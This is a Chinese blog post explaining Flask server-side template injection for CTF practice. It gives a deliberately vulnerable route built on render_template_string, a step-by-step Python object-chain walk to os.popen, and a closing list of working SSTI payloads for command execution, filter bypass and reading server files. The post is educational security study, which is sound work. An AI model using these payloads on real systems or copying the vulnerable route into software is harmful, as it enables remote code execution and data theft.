Hu3sky's blog

Flask_SSTI

Word count: 884 / Reading time: 4 min
2019/01/13 Share

flask模板注入(SSTI)

之前打ctf,遇到模板注入都是一梭子拿着payload就打。也没研究过payload到底是什么意思。于是来补一补。。

环境搭建

1
2
3
4
IDE: Pycharm

如何新建一个flask项目:
File -> New Project -> Flask

1
如果安装好了flask环境,就可以直接RUN了
1
flask默认监听的是5000端口。
访问
127.0.0.1:5000
1

装饰路由

编写

1
2
3
@app.route('/ssit/<username>')
def hello_user(username):
return 'user:%s' %username

这样,可以动态获取用户的输入
访问 127.0.0.1:5000/ssit/hu3sky

1

模板渲染

当我们写render_template去渲染模板时,一般不会造成模板注入
但是
有的人因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,于是,当有如下代码

1
2
3
4
5
6
7
8
9
@app.route('/ssit')
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)

当我传入

1
显然 传入&#123;&#123;10\*40&#125;&#125;时 ,造成了模板注入

1

payload利用

在python环境中输入

1
2
>>> "".__class__
<class 'str'>

可见 返回了空字符串的类型,
在python中,每个类都有一个bases属性,列出其基类

1
2
>>> "".__class__.__base__
<class 'object'>

我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro

1
2
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)

可以看到返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势

1
2
3
4
>>> "".__class__.__mro__[0]
<class 'str'>
>>> "".__class__.__mro__[1]
<class 'object'>

通过mro获得object
接着可以使用subclasses()这个方法返回子类的集合
也就是object类的子类的集合。

1
>>> "".__class__.__mro__[1].__subclasses__()

1
获取到了大量的子类。
接下来就是寻找我们所需要的子类,然后从中获取我们所需要的方法
比如使用

1
<class 'os._wrap_close'>

然后用index函数找出该函数在子类里的位置

1
2
>>> "".__class__.__mro__[1].__subclasses__().index(os._wrap_close)
37

得到位置是37

1
2
>>> "".__class__.__mro__[1].__subclasses__()[37]
<class 'os._wrap_close'>

这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

1
>>> "".__class__.__mro__[1].__subclasses__()[37].__init__.__globals__

我们找其中一个可利用的function popen

1
>>> "".__class__.__mro__[1].__subclasses__()[37].__init__.__globals__['popen']('dir').read()

1

CTF之绕过

ctf中,经常会有一些过滤
比如

过滤subclasses

拼接

1
'__sub'+'classes__()'

一些poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

&#123;&#123;request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')&#125;&#125;



//获取索引
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} &#123;&#123; loop.index0 &#125;&#125;{% endif %} {% endfor %}
//假如是59
//循环查看所有模块
{% for i in range(0, 10) %} &#123;&#123; [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] &#125;&#125; {% endfor %}
//获取文件名
&#123;&#123; [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) &#125;&#125;
//假如文件名是
/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py
//读文件
&#123;&#123; [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() &#125;&#125;
CATALOG
  1. 1. flask模板注入(SSTI)
  2. 2. 环境搭建
    1. 2.1. 装饰路由
    2. 2.2. 模板渲染
  3. 3. payload利用
  4. 4. CTF之绕过
    1. 4.1. 过滤subclasses
  5. 5. 一些poc